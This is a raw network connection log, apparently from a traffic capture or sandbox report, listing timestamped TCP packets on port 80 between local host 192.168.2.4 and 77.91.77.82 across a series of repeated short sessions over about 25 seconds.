Jul 3, 2024 23:59:33.944869995 CEST	49751	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:33.945178032 CEST	49752	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:33.950098038 CEST	80	49752	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:33.950196981 CEST	49752	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:33.950294018 CEST	80	49751	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:33.950347900 CEST	49751	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:33.950428009 CEST	49752	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:33.955243111 CEST	80	49752	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:34.646260023 CEST	80	49752	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:34.646353960 CEST	49752	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:34.647042990 CEST	49752	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:34.651838064 CEST	80	49752	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:34.864181995 CEST	80	49752	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:34.864238024 CEST	49752	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:34.976599932 CEST	49752	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:34.976944923 CEST	49753	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:34.982023954 CEST	80	49753	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:34.982095003 CEST	49753	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:34.982167006 CEST	80	49752	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:34.982220888 CEST	49752	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:34.982281923 CEST	49753	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:34.987131119 CEST	80	49753	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:35.678946972 CEST	80	49753	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:35.679053068 CEST	49753	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:35.679718018 CEST	49753	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:35.684555054 CEST	80	49753	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:35.896425962 CEST	80	49753	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:35.896554947 CEST	49753	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:36.007394075 CEST	49753	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:36.007719994 CEST	49754	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:36.012711048 CEST	80	49754	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:36.012780905 CEST	49754	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:36.012881994 CEST	80	49753	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:36.012969971 CEST	49753	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:36.013134956 CEST	49754	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:36.017954111 CEST	80	49754	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:36.752558947 CEST	80	49754	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:36.752661943 CEST	49754	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:36.753325939 CEST	49754	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:36.758183002 CEST	80	49754	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:36.981817961 CEST	80	49754	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:36.982049942 CEST	49754	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:37.085695028 CEST	49754	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:37.086049080 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:37.091645002 CEST	80	49754	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:37.091717005 CEST	49754	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:37.091727018 CEST	80	49755	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:37.091803074 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:37.091965914 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:37.097538948 CEST	80	49755	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:37.788587093 CEST	80	49755	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:37.788655043 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:37.790087938 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:37.795561075 CEST	80	49755	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:38.011006117 CEST	80	49755	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:38.011077881 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:38.117099047 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:38.117554903 CEST	49756	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:38.122323990 CEST	80	49755	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:38.122431040 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:38.122665882 CEST	80	49756	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:38.122740030 CEST	49756	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:38.122873068 CEST	49756	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:38.128274918 CEST	80	49756	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:38.830668926 CEST	80	49756	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:38.830969095 CEST	49756	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:38.831722021 CEST	49756	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:38.836992979 CEST	80	49756	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:39.057053089 CEST	80	49756	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:39.057172060 CEST	49756	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:39.163830996 CEST	49756	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:39.164544106 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:39.169158936 CEST	80	49756	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:39.169250011 CEST	49756	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:39.169461966 CEST	80	49757	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:39.169531107 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:39.169691086 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:39.174485922 CEST	80	49757	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:39.868165016 CEST	80	49757	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:39.868376970 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:39.869188070 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:39.873967886 CEST	80	49757	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:40.089268923 CEST	80	49757	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:40.089342117 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:40.194870949 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:40.195146084 CEST	49758	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:40.199975967 CEST	80	49757	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:40.200031042 CEST	80	49758	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:40.200048923 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:40.200104952 CEST	49758	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:40.200211048 CEST	49758	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:40.204958916 CEST	80	49758	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:40.965879917 CEST	80	49758	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:40.965940952 CEST	49758	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:40.966641903 CEST	49758	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:40.971417904 CEST	80	49758	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:41.193896055 CEST	80	49758	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:41.194015026 CEST	49758	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:41.304198027 CEST	49758	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:41.304517031 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:41.310518026 CEST	80	49759	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:41.310587883 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:41.310662031 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:41.310666084 CEST	80	49758	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:41.310709000 CEST	49758	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:41.315478086 CEST	80	49759	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:42.020906925 CEST	80	49759	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:42.021025896 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:42.023336887 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:42.028223991 CEST	80	49759	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:42.245803118 CEST	80	49759	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:42.245904922 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:42.351555109 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:42.351778030 CEST	49760	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:42.356854916 CEST	80	49759	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:42.356928110 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:42.357009888 CEST	80	49760	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:42.357073069 CEST	49760	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:42.357181072 CEST	49760	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:42.362029076 CEST	80	49760	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:43.088737965 CEST	80	49760	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:43.088798046 CEST	49760	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:43.089425087 CEST	49760	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:43.095011950 CEST	80	49760	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:43.318561077 CEST	80	49760	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:43.318799019 CEST	49760	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:43.444103003 CEST	49760	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:43.444788933 CEST	49761	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:43.452949047 CEST	80	49760	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:43.453025103 CEST	49760	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:43.453232050 CEST	80	49761	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:43.453314066 CEST	49761	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:43.453463078 CEST	49761	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:43.458720922 CEST	80	49761	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:44.164819002 CEST	80	49761	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:44.164918900 CEST	49761	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:44.165618896 CEST	49761	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:44.170517921 CEST	80	49761	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:44.389115095 CEST	80	49761	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:44.389219999 CEST	49761	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:44.491825104 CEST	49761	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:44.492160082 CEST	49762	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:44.497062922 CEST	80	49762	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:44.500782013 CEST	80	49761	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:44.502789974 CEST	49762	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:44.502842903 CEST	49761	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:44.503108978 CEST	49762	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:44.507956982 CEST	80	49762	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:45.211936951 CEST	80	49762	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:45.212024927 CEST	49762	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:45.212811947 CEST	49762	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:45.217756033 CEST	80	49762	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:45.435019016 CEST	80	49762	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:45.435127020 CEST	49762	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:45.539704084 CEST	49762	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:45.540107012 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:45.545092106 CEST	80	49762	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:45.545134068 CEST	80	49763	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:45.545147896 CEST	49762	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:45.545197964 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:45.545309067 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:45.551635027 CEST	80	49763	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:46.247502089 CEST	80	49763	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:46.247577906 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:46.248311043 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:46.254453897 CEST	80	49763	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:46.467346907 CEST	80	49763	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:46.467431068 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:46.569902897 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:46.570208073 CEST	49764	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:46.575195074 CEST	80	49764	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:46.575273037 CEST	49764	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:46.575392962 CEST	80	49763	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:46.575442076 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:46.575555086 CEST	49764	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:46.581692934 CEST	80	49764	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:47.299125910 CEST	80	49764	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:47.299377918 CEST	49764	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:47.299855947 CEST	49764	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:47.304773092 CEST	80	49764	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:47.524893045 CEST	80	49764	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:47.524969101 CEST	49764	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:47.632440090 CEST	49764	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:47.632746935 CEST	49765	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:47.637644053 CEST	80	49764	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:47.637722015 CEST	49764	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:47.637768984 CEST	80	49765	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:47.637850046 CEST	49765	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:47.637944937 CEST	49765	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:47.643102884 CEST	80	49765	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:48.347529888 CEST	80	49765	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:48.347711086 CEST	49765	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:48.348531008 CEST	49765	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:48.353321075 CEST	80	49765	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:48.574435949 CEST	80	49765	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:48.574517965 CEST	49765	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:48.679466009 CEST	49765	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:48.679792881 CEST	49766	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:48.684643984 CEST	80	49766	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:48.684732914 CEST	49766	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:48.684943914 CEST	49766	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:48.684988022 CEST	80	49765	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:48.685065985 CEST	49765	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:48.689814091 CEST	80	49766	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:49.418215990 CEST	80	49766	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:49.418303967 CEST	49766	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:49.419018030 CEST	49766	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:49.429275990 CEST	80	49766	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:49.654023886 CEST	80	49766	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:49.654090881 CEST	49766	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:49.757594109 CEST	49766	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:49.758086920 CEST	49767	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:49.762715101 CEST	80	49766	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:49.762794971 CEST	49766	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:49.763057947 CEST	80	49767	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:49.763257980 CEST	49767	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:49.763427019 CEST	49767	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:49.768243074 CEST	80	49767	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:50.472371101 CEST	80	49767	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:50.472721100 CEST	49767	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:50.475177050 CEST	49767	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:50.480034113 CEST	80	49767	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:50.700155973 CEST	80	49767	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:50.700298071 CEST	49767	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:50.804709911 CEST	49767	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:50.805011988 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:50.809829950 CEST	80	49767	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:50.809890032 CEST	49767	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:50.810031891 CEST	80	49768	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:50.810098886 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:50.810261011 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:50.815337896 CEST	80	49768	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:51.531758070 CEST	80	49768	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:51.531841993 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:51.532614946 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:51.537437916 CEST	80	49768	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:51.758207083 CEST	80	49768	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:51.758311033 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:51.867544889 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:51.867958069 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:51.873064041 CEST	80	49768	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:51.873136997 CEST	80	49769	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:51.873156071 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:51.873223066 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:51.873388052 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:51.878180981 CEST	80	49769	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:52.585796118 CEST	80	49769	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:52.585865974 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:52.587053061 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:52.591830969 CEST	80	49769	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:52.807396889 CEST	80	49769	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:52.807483912 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:52.913573980 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:52.913858891 CEST	49771	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:52.920309067 CEST	80	49771	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:52.920388937 CEST	49771	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:52.920512915 CEST	49771	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:52.920784950 CEST	80	49769	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:52.920883894 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:52.925333023 CEST	80	49771	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:53.631059885 CEST	80	49771	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:53.631253004 CEST	49771	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:53.631932974 CEST	49771	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:53.637332916 CEST	80	49771	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:53.854757071 CEST	80	49771	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:53.854836941 CEST	49771	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:53.960627079 CEST	49771	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:53.960832119 CEST	49772	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:53.965950966 CEST	80	49772	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:53.966088057 CEST	49772	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:53.966217995 CEST	49772	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:53.966578007 CEST	80	49771	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:53.970351934 CEST	49771	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:53.971112013 CEST	80	49772	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:54.667279959 CEST	80	49772	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:54.667361975 CEST	49772	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:54.668030024 CEST	49772	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:54.672993898 CEST	80	49772	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:54.886184931 CEST	80	49772	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:54.886240005 CEST	49772	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:54.991770983 CEST	49772	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:54.992041111 CEST	49773	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:54.996923923 CEST	80	49773	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:54.997015953 CEST	49773	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:54.997179985 CEST	49773	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:54.997400045 CEST	80	49772	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:54.997458935 CEST	49772	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:55.002728939 CEST	80	49773	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:55.720968008 CEST	80	49773	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:55.721086979 CEST	49773	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:55.721741915 CEST	49773	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:55.726592064 CEST	80	49773	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:55.964828968 CEST	80	49773	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:55.965038061 CEST	49773	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:56.069905043 CEST	49773	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:56.070236921 CEST	49774	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:56.077090979 CEST	80	49773	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:56.077147007 CEST	49773	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:56.077620983 CEST	80	49774	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:56.077680111 CEST	49774	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:56.077903986 CEST	49774	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:56.082777977 CEST	80	49774	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:56.772384882 CEST	80	49774	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:56.772490978 CEST	49774	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:56.773200989 CEST	49774	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:56.778045893 CEST	80	49774	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:56.989315987 CEST	80	49774	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:56.989450932 CEST	49774	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:57.101269960 CEST	49774	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:57.101571083 CEST	49775	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:57.106626034 CEST	80	49775	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:57.106720924 CEST	49775	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:57.106890917 CEST	80	49774	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:57.106923103 CEST	49775	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:57.106996059 CEST	49774	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:57.111996889 CEST	80	49775	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:57.819601059 CEST	80	49775	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:57.822021961 CEST	49775	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:57.822853088 CEST	49775	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:57.827677011 CEST	80	49775	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:58.047702074 CEST	80	49775	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:58.047805071 CEST	49775	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:58.163693905 CEST	49775	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:58.164033890 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:58.168920994 CEST	80	49776	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:58.169003010 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:58.169114113 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:58.169277906 CEST	80	49775	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:58.169332981 CEST	49775	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:58.173976898 CEST	80	49776	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:58.886904955 CEST	80	49776	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:58.887059927 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:58.897330999 CEST	49776	80	192.168.2.4	77.91.77.82
